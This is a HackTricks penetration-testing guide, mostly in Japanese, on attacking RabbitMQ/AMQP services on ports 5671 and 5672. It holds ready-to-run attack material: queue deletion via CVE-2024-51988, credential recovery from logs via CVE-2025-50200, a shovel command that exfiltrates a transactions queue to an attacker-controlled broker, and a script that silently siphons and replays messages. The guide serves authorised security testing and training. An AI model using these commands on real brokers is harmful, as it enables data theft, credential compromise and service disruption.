5671,5672 - Pentesting AMQP

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

出典: cloudamqp:

RabbitMQmessage-queueing softwaremessage broker または queue manager とも呼ばれます)。簡単に言えば、キューが定義され、アプリケーションが接続してメッセージを転送するためのソフトウェアです。
メッセージはあらゆる種類の情報を含むことができます。例えば、別のアプリケーション(別のサーバー上にあることもあります)で開始すべきプロセスやタスクに関する情報を含む場合や、単純なテキストメッセージである場合もあります。キューマネージャソフトウェアは、受信アプリケーションが接続してキューからメッセージを取り出すまでメッセージを保存します。受信アプリケーションはその後メッセージを処理します。
Definition from .

既定のポート: 5672,5671

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
  • Default credentials: guest:guest. RabbitMQはloopback_usersでこれをlocalhostに制限しますが、多くのDocker/IoTイメージはそのチェックを無効にしているため、ブローカーがブロックしていると決めつける前に常にリモートログインをテストしてください。
  • Authentication mechanisms: PLAINとAMQPLAINはデフォルトで有効、ANONYMOUSはanonymous_login_user/anonymous_login_passにマップされ、EXTERNAL (x509)はTLSが有効な場合に公開されることがあります。ブローカーが広告している内容を列挙して、後でpassword sprayingやcertificate impersonationを試すべきか判断してください。

列挙

手動

import amqp
# By default it uses "guest":"guest"
conn = amqp.connection.Connection(host="IP", port=5672, virtual_host="/")
conn.connect()
print("SASL mechanisms:", conn.mechanisms)
for k, v in conn.server_properties.items():
print(k, v)

認証後、conn.server_propertiesconn.channel_maxconn.frame_max をdumpしてスループット制限とオーバーサイズのフレームでリソースを枯渇させられるかを確認する。

自動

nmap -sV -Pn -n -T4 -p 5672 --script amqp-info IP

PORT     STATE SERVICE VERSION
5672/tcp open  amqp    RabbitMQ 3.1.5 (0-9)
| amqp-info:
|   capabilities:
|     publisher_confirms: YES
|     exchange_exchange_bindings: YES
|     basic.nack: YES
|     consumer_cancel_notify: YES
|   copyright: Copyright (C) 2007-2013 GoPivotal, Inc.
|   information: Licensed under the MPL.  See http://www.rabbitmq.com/
|   platform: Erlang/OTP
|   product: RabbitMQ
|   version: 3.1.5
|   mechanisms: PLAIN AMQPLAIN
|_  locales: en_US

TLS/SASL のチェック

  • AMQPS をプローブ:
openssl s_client -alpn amqp -connect IP:5671 -tls1_3 -msg </dev/null

これにより証明書チェーン、サポートされている TLS バージョン、および相互 TLS が必要かどうかが leaks します。

  • 認証情報なしでリスナーを一覧表示:
rabbitmq-diagnostics -q listeners

ホストに低権限のシェルアクセスを得た後に便利です。

  • ANONYMOUS ログインを検出: ブローカーが ANONYMOUS SASL メカニズムを許可している場合は、ユーザー名/パスワードを空にして接続を試みてください。RabbitMQ は内部的にあなたを anonymous_login_user にマップします(デフォルトは guest)。

Brute Force

Exploitation Tips

configure 権限なしでのキュー削除 (CVE-2024-51988)

RabbitMQ ≤ 3.12.10(およびパッチ未適用の Tanzu ビルド)は、HTTP API 経由でキューが削除される際に configure 権限を確認しません。ターゲット vhost にアクセスできる認証済みユーザーは、read または write 権限しか持っていなくても任意のキューを削除できます。

# confirm vulnerable version first
rabbitmqadmin -H target -P 15672 -u user -p pass show overview | grep -i version
# delete a high-value queue
curl -k -u user:pass -X DELETE https://target:15672/api/queues/%2F/payments-processing

Combine this with rabbitmqadmin list permissions to find vhosts where your low-priv user has partial access, then wipe queues to induce denial of service or trigger compensating controls observed on the AMQP side. Check 15672 pentesting for more HTTP API endpoints to chain with this bug.

Harvest credentials from RabbitMQ logs (CVE-2025-50200)

Until 4.0.8/4.1.0, hitting the management API with HTTP basic auth on a non-existent resource causes the broker to log the entire Authorization header (base64). If you gain limited filesystem access (e.g. Docker escape, plugin RCE), search /var/log/rabbitmq/rabbit@*.log for Authorization: and recover credentials for other tenants or service accounts.

curl -k -u pentester:SuperSecret https://target:15672/api/queues/%2f/ghost
sudo grep -R "Authorization:" /var/log/rabbitmq | cut -d' ' -f3 | base64 -d

偽のエンドポイントでこれを意図的にトリガーしてログに新しいシークレットを仕込み、その後デコード済みの creds を AMQP、STOMP、MQTT、または OS 自体経由で再利用してピボットします。

rabbitmqadmin-ng を武器化する

rabbitmqadmin v2 (aka rabbitmqadmin-ng) は管理 API とやり取りする自己完結型の CLI で、現在 Linux/macOS/Windows 向けに静的リンクされたビルドが提供されています。bounce box に置いてスクリプト化:

# enumerate live channels and prefetch pressure
rabbitmqadmin --host target --port 15672 --username user --password pass channels list --non-interactive
# clone a shovel to exfiltrate messages to attacker-controlled broker
rabbitmqadmin shovels declare_amqp091 \
--name loot \
--source-uri amqp://user:pass@target:5672/%2f \
--destination-uri amqp://attacker:pw@vps:5672/%2f \
--source-queue transactions \
--destination-queue stolen

ツールが blue/green 対応のヘルスチェックをサポートしているため、rabbitmqadmin health_check port_listener --port 5672 を悪用して、TLS リスナーが公開されているかをリモートで確認したり、タイミングプローブ用にサービスを占有し続けたりできます。

Message hijacking/sniffing

もし許容的なポリシー(.* bindings、topic exchanges、または x-queue-master-locator = min-masters)を見つけたら、メッセージを削除せずに静かに吸い出すことができます:

import pika
creds = pika.PlainCredentials('user','pass')
conn = pika.BlockingConnection(pika.ConnectionParameters('IP', 5672, '/', creds))
ch = conn.channel()
ch.queue_declare(queue='loot', exclusive=True, auto_delete=True)
ch.queue_bind(queue='loot', exchange='amq.topic', routing_key='#')
for method, props, body in ch.consume('loot', inactivity_timeout=5):
if body:
print(method.routing_key, body)

ルーティングキーを audit.#payments.* に切り替えて機密フローに注目し、basic_publish の引数を反転させて改ざんしたメッセージを再公開します — 下流のマイクロサービスに対するリプレイ攻撃に便利です。

その他の RabbitMQ ポート

https://www.rabbitmq.com/networking.html には、rabbitmq は複数のポートを使用します:

  • 1883, 8883: (MQTT clients without and with TLS, if the MQTT plugin is enabled. Learn more about how to pentest MQTT here.
  • 4369: epmd, a peer discovery service used by RabbitMQ nodes and CLI tools. Learn more about how to pentest this service here.
  • 5672, 5671: used by AMQP 0-9-1 and 1.0 clients without and with TLS
  • 15672: HTTP API clients, management UI and rabbitmqadmin (only if the management plugin is enabled). Learn more about how to pentest this service here.
  • 15674: STOMP-over-WebSockets clients (only if the Web STOMP plugin is enabled)
  • 15675: MQTT-over-WebSockets clients (only if the Web MQTT plugin is enabled)
  • 15692: Prometheus metrics (only if the Prometheus plugin is enabled)
  • 25672: ノード間および CLI ツール間の通信(Erlang distribution server ポート)に使用され、動的レンジから割り当てられます(デフォルトでは単一ポートに制限され、AMQP ポート + 20000 として計算されます)。これらのポートへの外部接続が本当に必要でない限り(例:クラスタが federation を使用している、または CLI ツールがサブネット外のマシンで使用される場合など)、これらのポートは公開すべきではありません。詳細は networking guide を参照してください。インターネット上でこれらのポートを開放しているのはわずか9件です
  • 35672-35682: CLI ツールがノードと通信するために使用する(Erlang distribution client ports)で、動的レンジから割り当てられます(server distribution port + 10000 から server distribution port + 10010 として計算されます)。詳細は networking guide を参照してください。
  • 61613, 61614: STOMP clients without and with TLS (only if the STOMP plugin is enabled). このポートを開放しているデバイスは10未満で、主に DHT ノード向けの UDP です。

関連

4222 Pentesting Nats

Shodan

  • AMQP

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする